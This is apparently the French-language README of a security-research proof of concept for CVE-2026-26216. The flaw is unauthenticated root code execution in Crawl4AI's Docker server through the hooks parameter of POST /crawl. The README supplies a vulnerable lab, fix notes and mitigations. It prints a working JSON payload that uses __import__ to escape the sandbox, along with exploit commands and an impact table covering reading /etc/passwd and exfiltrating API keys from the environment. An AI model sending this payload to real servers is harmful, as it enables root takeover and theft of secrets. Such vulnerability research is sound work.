Preuve de concept pour CVE-2026-26216, démontrant une exécution de code à distance non authentifiée via injection de hook dans le déploiement Docker de Crawl4AI. Inclut un environnement de laboratoire vulnérable.
hooks (GHSA-5882-5rx9-xgxp)CVSS 10.0 · RCE pré-auth · CWE-94 (Injection de code) Exécution de code à distance non authentifiée sur le serveur Docker de Crawl4AI (< 0.8.0), en abusant du paramètre
hooksdu endpointPOST /crawl. Un seul JSON dans le POST exécute du Python en root à l'intérieur du conteneur.
Ceci est une PoC de laboratoire, autonome et reproductible, pour la recherche en sécurité et à des fins éducatives.
Le endpoint POST /crawl accepte du code Python arbitraire dans le champ
hooks.code.<événement>. Ce code est exécuté avec exec() dans un
« sandbox maison » — un dictionnaire de builtins restreint. Seulement,
, ce qui permet
et neutralise tout le sandbox.
__import__ a été laissé dans l'allowlist__import__('os').system(...)POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
Comme le déploiement officiel tourne avec JWT désactivé par défaut et que le conteneur tourne en root, le résultat est un RCE root, sans authentification.
Le sandbox semble fonctionner : open, eval, exec ont été retirés, donc
une attaque naïve (open('/etc/passwd')) est bloquée. Cela crée une fausse
sensation de sécurité. Mais il suffit d'un builtin dangereux oublié
(__import__) pour importer toute la stdlib (os, subprocess, socket) et
l'allowlist devient de la décoration. Une allowlist de builtins n'est pas un
sandbox.
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
Note de fidélité.
vulnerable-app/est une reproduction allégée du chemin de code vulnérable de Crawl4AI (n'ouvre pas Chromium/Playwright), pour que la PoC soit légère et 100 % reproductible. Le comportement du sandbox et la structure du payload reflètent l'advisory officielle GHSA-5882-5rx9-xgxp. La ligne vulnérable est marquée dansvulnerable-app/hook_manager.py.
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
| # | Action | Impact |
|---|---|---|
| 1 | open('/etc/passwd') direct | Bloqué par le sandbox (fausse sécurité) |
| 2 | __import__('subprocess') + id/whoami | RCE en root |
| 3 | cat /etc/passwd via le shell | Lecture arbitraire de fichiers |
| 4 | env | grep KEY | Exfiltration de clés API / jetons |
| 5 | echo ... > /tmp/PWNED | Écriture arbitraire de fichiers |
À partir de là : pivot vers le réseau interne, vol de credentials cloud, persistance, etc.
OPENAI_API_KEY, jeton internes, secrets du conteneur.Tout cela sans authentification.
Corrigé dans Crawl4AI 0.8.0 :
__import__ (et eval/exec/open) retirés des builtins autorisés.CRAWL4AI_HOOKS_ENABLED=true.Atténuations générales :
crawl4ai >= 0.8.0.Matériel destiné à la recherche en sécurité autorisée et à l'éducation. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test.